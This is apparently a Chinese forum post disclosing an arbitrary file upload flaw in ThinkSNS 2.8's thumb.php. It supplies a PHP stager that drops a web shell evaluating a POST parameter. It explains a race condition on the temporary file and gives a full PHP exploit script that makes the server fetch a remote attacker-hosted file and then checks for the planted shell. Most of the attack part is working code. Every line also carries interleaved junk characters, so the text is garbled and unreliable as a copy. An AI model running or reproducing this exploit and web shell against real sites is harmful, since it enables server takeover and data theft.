漏洞版本8 [% b7 R& v" w3 k
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)/ ^' ~, ^# C2 I% P! c
漏洞文件
% ?6 {6 A+ M$ P1 i6 }# K存在漏洞的文件为:thumb.php$ G/ M& P. p' N( y1 a
作者:韦鲲鹏' e( W$ n8 Y. K; T+ j7 r3 l1 @! a
1、 准备如下PHP文件并上传到服务器(自己的)。) d5 s4 I( X# j7 f/ `
文件内容如下:
x3 m. Q# B+ z* G& {+ N<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>9 }$ D* c: V; a& h& |( c5 _
2、 计算出临时的文件名:
# J, f: T- {% W) B# T9 @+ d这里我们可以看文件的99行(刚刚是不是没注意呀!)。1 K5 g9 O! | a. d$ A; O& Z/ P
6 L- Q( H# b8 L5 c, T( m n. E
3、 上传临时文件。
, h2 _- s0 A3 _& @- ^% F4、 访问临时文件。
5 D1 H6 T: t7 x$ c& Z但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。) J% j, p/ @3 A8 J- T1 S
Exploit文件内容如下:(这个我就不详细解释了)
5 {5 [: d3 H! x$ |8 L7 @) W L8 U1 I<?php
9 O) W" v7 A Serror_reporting(0);$ f/ T! l0 x& I2 Q+ I5 L% C
set_time_limit(0);
5 A' r' B! s- o# {- N' ~/ Zini_set(“default_socket_timeout”, 5);
( R3 `9 D8 k$ n, {8 Pfunction http_send($host, $port, $headers) {" H. {/ ?+ \! F3 M4 i0 T
$fp = fsockopen($host, $port);9 L6 M5 w% J z M5 @
if (!$fp) die(‘Connection -> fail’);3 r1 M9 W6 F1 Q5 n) r: X. b
fputs($fp, $headers);
2 k& p3 ?' ~6 Ereturn $fp;, ^7 ~: ^! o m) \, F$ Z: v
}
4 G, W1 k. c, d5 P Bfunction http_recv($fp) {5 P( N- j+ k' v( o4 \6 v
$ret=”";, r. m$ j, D6 X5 w
while (!feof($fp))9 o6 J, u! g) M9 C: Q
$ret.= fgets($fp, 1024);
& P' J k9 h& u- \5 z Q6 Gfclose($fp);
3 G, A! J% l3 ~1 _5 hreturn $ret;+ [% P) Y/ b# D7 e8 a) g
}
5 g& k# P. _$ N3 eprint “\n# ThinkSns Arbitrary File Upload #\n”;7 ?9 }: x1 G& r ?
print “# Discovered by 韦鲲鹏 #\n\n”;& B a/ U, }- W2 p' I" B
if ($argc < 4) {& w6 Q! D. ^: k+ |
print “Usage: php <host> <path> <romote_url>\n”;
* e R/ o3 e! _7 R$ `8 ~0 eprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;& [' f2 J! _- D& j
die();$ z* q% X& l+ ^, D
}2 E- X6 t9 s: o
$host = $argv[1];
) _* V# ~9 H$ ~' M$path = $argv[2];9 n$ G$ Q# @: \, P: I* T# S
$url = $argv[3];5 y. Y0 {- \! |2 B3 _+ L- X8 e
$i=0; D1 r. l1 I6 V- q. G
//上传数据包
+ I" }5 T Y: `4 A+ r$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
; @# t( n. g A' X$headers_up .= “Host: “.$host.”\r\n”; _. `! i- @" c+ l0 B' q
$headers_up .= “Connection: close\r\n\r\n”;
, z" {4 e. w( Q3 U* d1 E2 necho $headers_up;3 z8 q; q9 H ^! E
//临时文件访问数据包8 f! g. }" Q4 r, n8 [7 A% L
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;- X: G" z8 V1 Y& o8 |" w/ a
$headers .= “Host: “.$host.”\r\n”;
) f0 e' r7 Y/ {$ ]& S0 j% |0 n$headers .= “Connection: close\r\n\r\n”;
% @. d# I7 P5 x/ uecho $headers;. I z& n: U7 f
while(++$i<10) {/ H0 R6 W/ K# g3 h }' V
fclose(http_send($host, 80, $headers));
7 p- }4 E$ ]4 E$ A$ ~6 r: i}. r3 u a0 y+ n7 y1 I) E& g# l; L) q: @
fclose(http_send($host, 80, $headers_up));
2 t' {( t! w) P/ c/ G) W3 ]1 Dwhile(++$i<50) {
; H* h( ~* k# ~# q; w; `; zfclose(http_send($host, 80, $headers)); l, N, d5 |+ E8 Z# H
}1 K/ I# K& Z) d
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;6 M) V1 N" L' s. s% z. q
$headers .= “Host: “.$host.”\r\n”;
8 Q: W, { X6 _( r1 a% p2 a$headers .= “Connection: close\r\n\r\n”;8 [4 F% C3 k. i
$res=http_recv(http_send($host, 80, $headers));
4 O$ |) g9 ]) P) ]' b( k: n$ yif(preg_match(‘/200 OK/’,$res)) {
' C! R0 x4 V8 ]3 fprint “Success!\n\n”; x* O) h; V6 J2 o3 `4 }- \( J* G
} else {
# {+ ^( G% T$ O& S O% Dprint “Fail!\n\n”;1 Q8 k. H0 s7 O: s" X
}
* d2 Y& c' Q( ~6 K+ [1 g# C9 ~# ]?>( ]$ l- s& ~) A' g5 V- P
|